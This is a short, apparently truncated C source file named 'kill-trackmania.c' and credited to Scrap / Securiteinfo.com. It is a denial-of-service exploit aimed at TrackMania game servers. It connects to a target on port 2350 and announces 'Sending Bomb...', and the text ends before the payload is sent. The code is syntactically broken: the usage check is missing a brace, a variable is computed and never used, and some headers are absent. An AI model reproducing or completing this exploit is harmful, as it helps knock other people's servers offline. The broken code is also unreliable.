#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
